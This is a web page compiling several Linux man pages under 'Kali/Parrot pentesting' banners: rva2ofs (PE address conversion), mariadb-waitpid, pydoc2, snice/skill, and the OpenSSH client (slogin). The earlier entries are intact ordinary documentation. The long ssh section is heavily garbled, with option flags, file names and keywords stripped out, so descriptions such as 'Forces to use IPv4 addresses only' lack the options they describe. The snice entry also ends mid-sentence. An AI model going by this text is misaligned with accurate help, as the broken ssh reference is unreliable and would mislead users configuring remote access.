              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

590 - Linux cli command rva2ofs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rva2ofs and provides detailed information about the command rva2ofs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rva2ofs.

NAME 🖥️ rva2ofs 🖥️

converts a PE relative virtual address to raw file offset

SYNOPSIS

rva2ofs rvs pefile

DESCRIPTION

rva2ofs converts a RVA (Relative Virtual Address) to raw file offset, if possible. It’s part of pev, the PE file analysis toolkit.

rva is a valid PE RVA in decimal or hexadecimal (prefixed with 0x).

pefile is a PE32/PE32+ executable or dynamic linked library file.

OPTIONS

-V, –version
Show version.

–help
Show this help.

EXAMPLES

Get offset from RVA 0x12db of cards.dll:

$ rva2ofs 0x12db cards.dll

REPORTING BUGS

Please, check the latest development code and report at https://github.com/mentebinaria/readpe/issues

SEE ALSO

ofs2rva(1), pedis(1), pehash(1), peldd(1), pepack(1), peres(1), pescan(1), pesec(1), pestr(1), readpe(1)

COPYRIGHT

Copyright (C) 2012 - 2020 pev authors. License GPLv2+: GNU GPL version 2 or later <https://www.gnu.org/licenses/gpl-2.0.txt>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

ofs2rva(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

591 - Linux cli command mariadb-waitpid

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-waitpid and provides detailed information about the command mariadb-waitpid, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-waitpid.

NAME 🖥️ mariadb-waitpid 🖥️

waitpid - kill process and wait for its termination (mysql_waitpid is now a symlink to mariadb-waitpid)

SYNOPSIS

mysql_waitpid [options] pid wait_time

DESCRIPTION

mysql_waitpid signals a process to terminate and waits for the process to exit. It uses the kill() system call and Unix signals, so it runs on Unix and Unix-like systems.

Invoke mysql_waitpid like this:

shell> mysql_waitpid [options] pid wait_time

mysql_waitpid sends signal 0 to the process identified by pid and waits up to wait_time seconds for the process to terminate. pid and wait_time must be positive integers.

If process termination occurs within the wait time or the process does not exist, mysql_waitpid returns 0. Otherwise, it returns 1.

If the kill() system call cannot handle signal 0, mysql_waitpid() uses signal 1 instead.

mysql_waitpid supports the following options:

·

–help, -?, -I

Display a help message and exit.

·

–verbose, -v

Verbose mode. Display a warning if signal 0 could not be used and signal 1 is used instead.

·

–version, -V

Display version information and exit.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

592 - Linux cli command pydoc2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pydoc2 and provides detailed information about the command pydoc2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pydoc2.

NAME 🖥️ pydoc2 🖥️

the Python documentation tool

SYNOPSIS

pydoc2.7 name

pydoc2.7 -k keyword

pydoc2.7 -p port

pydoc2.7 -g

pydoc2.7 -w module […]

DESCRIPTION

pydoc2.7 name Show text documentation on something. name may be the name of a Python keyword, topic, function, module, or package, or a dotted reference to a class or function within a module or module in a package. If name contains a ‘/’, it is used as the path to a Python source file to document. If name is ‘keywords’, ’topics’, or ‘modules’, a listing of these things is displayed.

pydoc2.7 -k keyword Search for a keyword in the synopsis lines of all available modules.

pydoc2.7 -p port Start an HTTP server on the given port on the local machine.

pydoc2.7 -g Pop up a graphical interface for finding and serving documentation.

pydoc2.7 -w name […] Write out the HTML documentation for a module to a file in the current directory. If name contains a ‘/’, it is treated as a filename; if it names a directory, documentation is written for all the contents.

AUTHOR

Moshe Zadka, based on “pydoc –help”

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

593 - Linux cli command snice

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snice and provides detailed information about the command snice, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snice.

NAME 🖥️ snice 🖥️

send a signal or report process status

SYNOPSIS

skill [signal] [options] expression
snice [new priority] [options] expression

DESCRIPTION

These tools are obsolete and unportable. The command syntax is poorly defined. Consider using the killall, pkill, and pgrep commands instead.

The default signal for skill is TERM. Use -l or -L to list available signals. Particularly useful signals include HUP, INT, KILL, STOP, CONT, and 0. Alternate signals may be specified in three ways: -9 -SIGKILL -KILL.

The default priority for snice is +4. Priority numbers range from +20 (slowest) to -20 (fastest). Negative priority numbers are restricted to administrative users.

OPTIONS

-f,** –fast**
Fast mode. This option has not been implemented.

-i,** –interactive**
Interactive use. You will be asked to approve each action.

-l,** –list**
List all signal names.

-L,** –table**
List all signal names in a nice table.

-n,** –no-action**
No action; perform a simulation of events that would occur but do not actually change the system.

-v,** –verbose**
Verbose; explain what is being done.

-w,** –warnings**
Enable warnings. This option has not been implemented.

-h, –help
Display help text and exit.

-V, –version
Display version information.

PROCESS SELECTION OPTIONS

Selection criteria can be: terminal, user, pid, command. The options below may be used to ensure correct interpretation.

-t, –tty tty
The next expression is a terminal (tty or pty).

-u, –user user
The next expression is a username.

-p, –pid pid
The next expression is a process ID number.

-c, –command command
The next expression is a command name.

–ns pid
Match the processes that belong to the same namespace as pid.

–nslist ns,
list which namespaces will be considered for the –ns option. Available namespaces: ipc, mnt, net, pid, user, uts.

SIGNALS

The behavior of signals is explained in signal(7) manual page.

EXAMPLES

snice -c seti -c crack +7
+Slow down seti and crack commands.

skill -KILL -t /dev/pts/*
Kill users on PTY devices.

skill -STOP -u viro -u lm -u davem
Stop three users.

SEE ALSO

kill(1), kill(2), killall(1), nice(1), pkill(1), renice(1), signal(7)

STANDARDS

No standards apply.

AUTHOR

Albert Cahalan wrote skill and snice in 1999 as a replacement for a non-free version.

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

594 - Linux cli command slogin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command slogin and provides detailed information about the command slogin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the slogin.

(SSH client) is a program for logging into a remote machine and for executing commands on a remote machine. It is intended to provide secure encrypted communications between two untrusted hosts over an insecure network. X11 connections, arbitrary TCP ports and

sockets can also be forwarded over the secure channel.

connects and logs into the specified

which may be specified as either

or a URI of the form

The user must prove their identity to the remote machine using one of several methods (see below).

If a

is specified, it will be executed on the remote host instead of a login shell. A complete command line may be specified as

or it may have additional arguments. If supplied, the arguments will be appended to the command, separated by spaces, before it is sent to the server to be executed.

The options are as follows:

Forces

to use IPv4 addresses only.

Forces

to use IPv6 addresses only.

Enables forwarding of connections from an authentication agent such as

This can also be specified on a per-host basis in a configuration file.

Agent forwarding should be enabled with caution. Users with the ability to bypass file permissions on the remote host (for the agent’s

socket) can access the local agent through the forwarded connection. An attacker cannot obtain key material from the agent, however they can perform operations on the keys that enable them to authenticate using the identities loaded into the agent. A safer alternative may be to use a jump host (see

Disables forwarding of the authentication agent connection.

Bind to the address of

before attempting to connect to the destination host. This is only useful on systems with more than one address.

Use

on the local machine as the source address of the connection. Only useful on systems with more than one address.

Requests compression of all data (including stdin, stdout, stderr, and data for forwarded X11, TCP and

connections). The compression algorithm is the same used by

Compression is desirable on modem lines and other slow connections, but will only slow down things on fast networks. The default value can be set on a host-by-host basis in the configuration files; see the

option in

Selects the cipher specification for encrypting the session.

is a comma-separated list of ciphers listed in order of preference. See the

keyword in

for more information.

Specifies a local

application-level port forwarding. This works by allocating a socket to listen to

on the local side, optionally bound to the specified

Whenever a connection is made to this port, the connection is forwarded over the secure channel, and the application protocol is then used to determine where to connect to from the remote machine. Currently the SOCKS4 and SOCKS5 protocols are supported, and

will act as a SOCKS server. Only root can forward privileged ports. Dynamic port forwardings can also be specified in the configuration file.

IPv6 addresses can be specified by enclosing the address in square brackets. Only the superuser can forward privileged ports. By default, the local port is bound in accordance with the

setting. However, an explicit

may be used to bind the connection to a specific address. The

of

indicates that the listening port be bound for local use only, while an empty address or

indicates that the port should be available from all interfaces.

Append debug logs to

instead of standard error.

Sets the escape character for sessions with a pty (default:

The escape character is only recognized at the beginning of a line. The escape character followed by a dot

closes the connection; followed by control-Z suspends the connection; and followed by itself sends the escape character once. Setting the character to

disables any escapes and makes the session fully transparent.

Specifies an alternative per-user configuration file. If a configuration file is given on the command line, the system-wide configuration file

will be ignored. The default for the per-user configuration file is

If set to

no configuration files will be read.

Requests

to go to background just before command execution. This is useful if

is going to ask for passwords or passphrases, but the user wants it in the background. This implies

The recommended way to start X11 programs at a remote site is with something like

If the

configuration option is set to

then a client started with

will wait for all remote port forwards to be successfully established before placing itself in the background. Refer to the description of

in

for details.

Causes

to print its configuration after evaluating

and

blocks and exit.

Allows remote hosts to connect to local forwarded ports. If used on a multiplexed connection, then this option must be specified on the master process.

Specify the PKCS#11 shared library

should use to communicate with a PKCS#11 token providing keys for user authentication.

Selects a file from which the identity (private key) for public key authentication is read. You can also specify a public key file to use the corresponding private key that is loaded in

when the private key file is not present locally. The default is

and

Identity files may also be specified on a per-host basis in the configuration file. It is possible to have multiple

options (and multiple identities specified in configuration files). If no certificates have been explicitly specified by the

directive,

will also try to load certificate information from the filename obtained by appending

to identity filenames.

Connect to the target host by first making an

connection to the jump host described by

and then establishing a TCP forwarding to the ultimate destination from there. Multiple jump hops may be specified separated by comma characters. This is a shortcut to specify a

configuration directive. Note that configuration directives supplied on the command-line generally apply to the destination host and not any specified jump hosts. Use

to specify configuration for jump hosts.

Enables GSSAPI-based authentication and forwarding (delegation) of GSSAPI credentials to the server.

Disables forwarding (delegation) of GSSAPI credentials to the server.

Specifies that connections to the given TCP port or Unix socket on the local (client) host are to be forwarded to the given host and port, or Unix socket, on the remote side. This works by allocating a socket to listen to either a TCP

on the local side, optionally bound to the specified

or to a Unix socket. Whenever a connection is made to the local port or socket, the connection is forwarded over the secure channel, and a connection is made to either

port

or the Unix socket

from the remote machine.

Port forwardings can also be specified in the configuration file. Only the superuser can forward privileged ports. IPv6 addresses can be specified by enclosing the address in square brackets.

By default, the local port is bound in accordance with the

setting. However, an explicit

may be used to bind the connection to a specific address. The

of

indicates that the listening port be bound for local use only, while an empty address or

indicates that the port should be available from all interfaces.

Specifies the user to log in as on the remote machine. This also may be specified on a per-host basis in the configuration file.

Places the

client into

mode for connection sharing. Multiple

options places

into

mode but with confirmation required using

before each operation that changes the multiplexing state (e.g. opening a new session). Refer to the description of

in

for details.

A comma-separated list of MAC (message authentication code) algorithms, specified in order of preference. See the

keyword in

for more information.

Do not execute a remote command. This is useful for just forwarding ports. Refer to the description of

in

for details.

Redirects stdin from

(actually, prevents reading from stdin). This must be used when

is run in the background. A common trick is to use this to run X11 programs on a remote machine. For example,

will start an emacs on shadows.cs.hut.fi, and the X11 connection will be automatically forwarded over an encrypted channel. The

program will be put in the background. (This does not work if

needs to ask for a password or passphrase; see also the

option.) Refer to the description of

in

for details.

Control an active connection multiplexing master process. When the

option is specified, the

argument is interpreted and passed to the master process. Valid commands are:

(check that the master process is running),

(request forwardings without command execution),

(cancel forwardings),

(request the master to exit), and

(request the master to stop accepting further multiplexing requests).

Can be used to give options in the format used in the configuration file. This is useful for specifying options for which there is no separate command-line flag. For full details of the options listed below, and their possible values, see

Specify a tag name that may be used to select configuration in

Refer to the

and

keywords in

for more information.

Port to connect to on the remote host. This can be specified on a per-host basis in the configuration file.

Queries for the algorithms supported by one of the following features:

(supported symmetric ciphers),

(supported symmetric ciphers that support authenticated encryption),

(supported query terms for use with the

flag),

(supported message integrity codes),

(key exchange algorithms),

(GSSAPI key exchange algorithms),

(key types),

(valid CA signature algorithms for certificates),

(certificate key types),

(non-certificate key types),

(all key types and signature algorithms),

(supported SSH protocol versions), and

(supported signature algorithms). Alternatively, any keyword from

or

that takes an algorithm list may be used as an alias for the corresponding query_option.

Quiet mode. Causes most warning and diagnostic messages to be suppressed.

Specifies that connections to the given TCP port or Unix socket on the remote (server) host are to be forwarded to the local side.

This works by allocating a socket to listen to either a TCP

or to a Unix socket on the remote side. Whenever a connection is made to this port or Unix socket, the connection is forwarded over the secure channel, and a connection is made from the local machine to either an explicit destination specified by

port

or

or, if no explicit destination was specified,

will act as a SOCKS 4/5 proxy and forward connections to the destinations requested by the remote SOCKS client.

Port forwardings can also be specified in the configuration file. Privileged ports can be forwarded only when logging in as root on the remote machine. IPv6 addresses can be specified by enclosing the address in square brackets.

By default, TCP listening sockets on the server will be bound to the loopback interface only. This may be overridden by specifying a

An empty

or the address

indicates that the remote socket should listen on all interfaces. Specifying a remote

will only succeed if the server’s

option is enabled (see

If the

argument is

the listen port will be dynamically allocated on the server and reported to the client at run time. When used together with

the allocated port will be printed to the standard output.

Specifies the location of a control socket for connection sharing, or the string

to disable connection sharing. Refer to the description of

and

in

for details.

May be used to request invocation of a subsystem on the remote system. Subsystems facilitate the use of SSH as a secure transport for other applications (e.g.

The subsystem is specified as the remote command. Refer to the description of

in

for details.

Disable pseudo-terminal allocation.

Force pseudo-terminal allocation. This can be used to execute arbitrary screen-based programs on a remote machine, which can be very useful, e.g. when implementing menu services. Multiple

options force tty allocation, even if

has no local tty.

Display the version number and exit.

Verbose mode. Causes

to print debugging messages about its progress. This is helpful in debugging connection, authentication, and configuration problems. Multiple

options increase the verbosity. The maximum is 3.

Requests that standard input and output on the client be forwarded to

on

over the secure channel. Implies

and

though these can be overridden in the configuration file or using

command line options.

Requests tunnel device forwarding with the specified

devices between the client

and the server

The devices may be specified by numerical ID or the keyword

which uses the next available tunnel device. If

is not specified, it defaults to

See also the

and

directives in

If the

directive is unset, it will be set to the default tunnel mode, which is

If a different

forwarding mode it desired, then it should be specified before

Enables X11 forwarding. This can also be specified on a per-host basis in a configuration file.

X11 forwarding should be enabled with caution. Users with the ability to bypass file permissions on the remote host (for the user’s X authorization database) can access the local X11 display through the forwarded connection. An attacker may then be able to perform activities such as keystroke monitoring.

For this reason, X11 forwarding is subjected to X11 SECURITY extension restrictions by default. Refer to the

option and the

directive in

for more information.

(Debian-specific: X11 forwarding is not subjected to X11 SECURITY extension restrictions by default, because too many programs currently crash in this mode. Set the

option to

to restore the upstream behaviour. This may change in future depending on client-side improvements.)

Disables X11 forwarding.

Enables trusted X11 forwarding. Trusted X11 forwardings are not subjected to the X11 SECURITY extension controls.

(Debian-specific: In the default configuration, this option is equivalent to

since

defaults to

as described above. Set the

option to

to restore the upstream behaviour. This may change in future depending on client-side improvements.)

Send log information using the

system module. By default this information is sent to stderr.

may additionally obtain configuration data from a per-user configuration file and a system-wide configuration file. The file format and configuration options are described in

The OpenSSH SSH client supports SSH protocol 2.

The methods available for authentication are: GSSAPI-based authentication, host-based authentication, public key authentication, keyboard-interactive authentication, and password authentication. Authentication methods are tried in the order specified above, though

can be used to change the default order.

Host-based authentication works as follows: If the machine the user logs in from is listed in

or

on the remote machine, the user is non-root and the user names are the same on both sides, or if the files

or

exist in the user’s home directory on the remote machine and contain a line containing the name of the client machine and the name of the user on that machine, the user is considered for login. Additionally, the server

be able to verify the client’s host key (see the description of

and

below) for login to be permitted. This authentication method closes security holes due to IP spoofing, DNS spoofing, and routing spoofing. [Note to the administrator:

and the rlogin/rsh protocol in general, are inherently insecure and should be disabled if security is desired.]

Public key authentication works as follows: The scheme is based on public-key cryptography, using cryptosystems where encryption and decryption are done using separate keys, and it is unfeasible to derive the decryption key from the encryption key. The idea is that each user creates a public/private key pair for authentication purposes. The server knows the public key, and only the user knows the private key.

implements public key authentication protocol automatically, using one of the DSA, ECDSA, Ed25519 or RSA algorithms. The HISTORY section of

(on non-OpenBSD systems, see

http://www.openbsd.org/cgi-bin/man.cgi?query=ssl&sektion=8#HISTORY)

contains a brief discussion of the DSA and RSA algorithms.

The file

lists the public keys that are permitted for logging in. When the user logs in, the

program tells the server which key pair it would like to use for authentication. The client proves that it has access to the private key and the server checks that the corresponding public key is authorized to accept the account.

The server may inform the client of errors that prevented public key authentication from succeeding after authentication completes using a different method. These may be viewed by increasing the

to

or higher (e.g. by using the

flag).

The user creates their key pair by running

This stores the private key in

(DSA),

(ECDSA),

(authenticator-hosted ECDSA),

(Ed25519),

(authenticator-hosted Ed25519), or

(RSA) and stores the public key in

(DSA),

(ECDSA),

(authenticator-hosted ECDSA),

(Ed25519),

(authenticator-hosted Ed25519), or

(RSA) in the user’s home directory. The user should then copy the public key to

in their home directory on the remote machine. The

file corresponds to the conventional

file, and has one key per line, though the lines can be very long. After this, the user can log in without giving the password.

A variation on public key authentication is available in the form of certificate authentication: instead of a set of public/private keys, signed certificates are used. This has the advantage that a single trusted certification authority can be used in place of many public/private keys. See the CERTIFICATES section of

for more information.

The most convenient way to use public key or certificate authentication may be with an authentication agent. See

and (optionally) the

directive in

for more information.

Keyboard-interactive authentication works as follows: The server sends an arbitrary

text and prompts for a response, possibly multiple times. Examples of keyboard-interactive authentication include

Authentication (see

and PAM (some

systems).

Finally, if other authentication methods fail,

prompts the user for a password. The password is sent to the remote host for checking; however, since all communications are encrypted, the password cannot be seen by someone listening on the network.

automatically maintains and checks a database containing identification for all hosts it has ever been used with. Host keys are stored in

in the user’s home directory. Additionally, the file

is automatically checked for known hosts. Any new hosts are automatically added to the user’s file. If a host’s identification ever changes,

warns about this and disables password authentication to prevent server spoofing or man-in-the-middle attacks, which could otherwise be used to circumvent the encryption. The

option can be used to control logins to machines whose host key is not known or has changed.

When the user’s identity has been accepted by the server, the server either executes the given command in a non-interactive session or, if no command has been specified, logs into the machine and gives the user a normal shell as an interactive session. All communication with the remote command or shell will be automatically encrypted.

If an interactive session is requested,

by default will only request a pseudo-terminal (pty) for interactive sessions when the client has one. The flags

and

can be used to override this behaviour.

If a pseudo-terminal has been allocated, the user may use the escape characters noted below.

If no pseudo-terminal has been allocated, the session is transparent and can be used to reliably transfer binary data. On most systems, setting the escape character to

will also make the session transparent even if a tty is used.

The session terminates when the command or shell on the remote machine exits and all X11 and TCP connections have been closed.

When a pseudo-terminal has been requested,

supports a number of functions through the use of an escape character.

A single tilde character can be sent as

or by following the tilde by a character other than those described below. The escape character must always follow a newline to be interpreted as special. The escape character can be changed in configuration files using the

configuration directive or on the command line by the

option.

The supported escapes (assuming the default

are:

Disconnect.

Background

List forwarded connections.

Background

at logout when waiting for forwarded connection / X11 sessions to terminate.

Display a list of escape characters.

Send a BREAK to the remote system (only useful if the peer supports it).

Open command line. Currently this allows the addition of port forwardings using the

and

options (see above). It also allows the cancellation of existing port-forwardings with

for local,

for remote and

for dynamic port-forwardings.

allows the user to execute a local command if the

option is enabled in

Basic help is available, using the

option.

Request rekeying of the connection (only useful if the peer supports it).

Decrease the verbosity

when errors are being written to stderr.

Increase the verbosity

when errors are being written to stderr.

Forwarding of arbitrary TCP connections over a secure channel can be specified either on the command line or in a configuration file. One possible application of TCP forwarding is a secure connection to a mail server; another is going through firewalls.

In the example below, we look at encrypting communication for an IRC client, even though the IRC server it connects to does not directly support encrypted communication. This works as follows: the user connects to the remote host using

specifying the ports to be used to forward the connection. After that it is possible to start the program locally, and

will encrypt and forward the connection to the remote server.

The following example tunnels an IRC session from the client to an IRC server at

joining channel

nickname

using the standard IRC port, 6667:

$ ssh -f -L 6667:localhost:6667 server.example.com sleep 10 $ irc -c ‘#users’ pinky IRC/127.0.0.1

The

option backgrounds

and the remote command

is specified to allow an amount of time (10 seconds, in the example) to start the program which is going to use the tunnel. If no connections are made within the time specified,

will exit.

If the

variable is set to

(or see the description of the

and

options above) and the user is using X11 (the

environment variable is set), the connection to the X11 display is automatically forwarded to the remote side in such a way that any X11 programs started from the shell (or command) will go through the encrypted channel, and the connection to the real X server will be made from the local machine. The user should not manually set

Forwarding of X11 connections can be configured on the command line or in configuration files.

The

value set by

will point to the server machine, but with a display number greater than zero. This is normal, and happens because

creates a

X server on the server machine for forwarding the connections over the encrypted channel.

will also automatically set up Xauthority data on the server machine. For this purpose, it will generate a random authorization cookie, store it in Xauthority on the server, and verify that any forwarded connections carry this cookie and replace it by the real cookie when the connection is opened. The real authentication cookie is never sent to the server machine (and no cookies are sent in the plain).

If the

variable is set to

(or see the description of the

and

options above) and the user is using an authentication agent, the connection to the agent is automatically forwarded to the remote side.

When connecting to a server for the first time, a fingerprint of the server’s public key is presented to the user (unless the option

has been disabled). Fingerprints can be determined using

If the fingerprint is already known, it can be matched and the key can be accepted or rejected. If only legacy (MD5) fingerprints for the server are available, the

option may be used to downgrade the fingerprint algorithm to match.

Because of the difficulty of comparing host keys just by looking at fingerprint strings, there is also support to compare host keys visually, using

By setting the

option to

a small ASCII graphic gets displayed on every login to a server, no matter if the session itself is interactive or not. By learning the pattern a known server produces, a user can easily find out that the host key has changed when a completely different pattern is displayed. Because these patterns are not unambiguous however, a pattern that looks similar to the pattern remembered only gives a good probability that the host key is the same, not guaranteed proof.

To get a listing of the fingerprints along with their random art for all known hosts, the following command line can be used:

If the fingerprint is unknown, an alternative method of verification is available: SSH fingerprints verified by DNS. An additional resource record (RR), SSHFP, is added to a zonefile and the connecting client is able to match the fingerprint with that of the key presented.

In this example, we are connecting a client to a server,

The SSHFP resource records should first be added to the zonefile for host.example.com:

$ ssh-keygen -r host.example.com.

The output lines will have to be added to the zonefile. To check that the zone is answering fingerprint queries:

Finally the client connects:

$ ssh -o “VerifyHostKeyDNS ask” host.example.com […] Matching host key fingerprint found in DNS. Are you sure you want to continue connecting (yes/no)?

See the

option in

for more information.

contains support for Virtual Private Network (VPN) tunnelling using the

network pseudo-device, allowing two networks to be joined securely. The

configuration option

controls whether the server supports this, and at what level (layer 2 or 3 traffic).

The following example would connect client network 10.0.50.0/24 with remote network 10.0.99.0/24 using a point-to-point connection from 10.1.1.1 to 10.1.1.2, provided that the SSH server running on the gateway to the remote network, at 192.168.1.15, allows it.

On the client:

# ssh -f -w 0:1 192.168.1.15 true # ifconfig tun0 10.1.1.1 10.1.1.2 netmask 255.255.255.252 # route add 10.0.99.0/24 10.1.1.2

On the server:

# ifconfig tun1 10.1.1.2 10.1.1.1 netmask 255.255.255.252 # route add 10.0.50.0/24 10.1.1.1

Client access may be more finely tuned via the

file (see below) and the

server option. The following entry would permit connections on

device 1 from user

and on tun device 2 from user

if

is set to

tunnel=“1”,command=“sh /etc/netstart tun1” ssh-rsa … jane tunnel=“2”,command=“sh /etc/netstart tun2” ssh-rsa … john

Since an SSH-based setup entails a fair amount of overhead, it may be more suited to temporary setups, such as for wireless VPNs. More permanent VPNs are better provided by tools such as

and

will normally set the following environment variables:

The

variable indicates the location of the X11 server. It is automatically set by

to point to a value of the form

where

indicates the host where the shell runs, and

is an integer 1.

uses this special value to forward X11 connections over the secure channel. The user should normally not set

explicitly, as that will render the X11 connection insecure (and will require the user to manually copy any required authorization cookies).

Set to the path of the user’s home directory.

Synonym for

set for compatibility with systems that use this variable.

Set to the path of the user’s mailbox.

Set to the default

as specified when compiling

If

needs a passphrase, it will read the passphrase from the current terminal if it was run from a terminal. If

does not have a terminal associated with it but

and

are set, it will execute the program specified by

and open an X11 window to read the passphrase. This is particularly useful when calling

from a

or related script. (Note that on some machines it may be necessary to redirect the input from

to make this work.)

Allows further control over the use of an askpass program. If this variable is set to

then

will never attempt to use one. If it is set to

then

will prefer to use the askpass program instead of the TTY when requesting passwords. Finally, if the variable is set to

then the askpass program will be used for all passphrase input regardless of whether

is set.

Identifies the path of a

socket used to communicate with the agent.

Identifies the client and server ends of the connection. The variable contains four space-separated values: client IP address, client port number, server IP address, and server port number.

This variable contains the original command line if a forced command is executed. It can be used to extract the original arguments.

This is set to the name of the tty (path to the device) associated with the current shell or command. If the current session has no tty, this variable is not set.

Optionally set by

to contain the interface names assigned if tunnel forwarding was requested by the client.

Optionally set by

this variable may contain a pathname to a file that lists the authentication methods successfully used when the session was established, including any public keys that were used.

This variable is set to indicate the present time zone if it was set when the daemon was started (i.e. the daemon passes the value on to new connections).

Set to the name of the user logging in.

Additionally,

reads

and adds lines of the format

to the environment if the file exists and users are allowed to change their environment. For more information, see the

option in

This file is used for host-based authentication (see above). On some machines this file may need to be world-readable if the user’s home directory is on an NFS partition, because

reads it as root. Additionally, this file must be owned by the user, and must not have write permissions for anyone else. The recommended permission for most machines is read/write for the user, and not accessible by others.

This file is used in exactly the same way as

but allows host-based authentication without permitting login with rlogin/rsh.

This directory is the default location for all user-specific configuration and authentication information. There is no general requirement to keep the entire contents of this directory secret, but the recommended permissions are read/write/execute for the user, and not accessible by others.

Lists the public keys (DSA, ECDSA, Ed25519, RSA) that can be used for logging in as this user. The format of this file is described in the

manual page. This file is not highly sensitive, but the recommended permissions are read/write for the user, and not accessible by others.

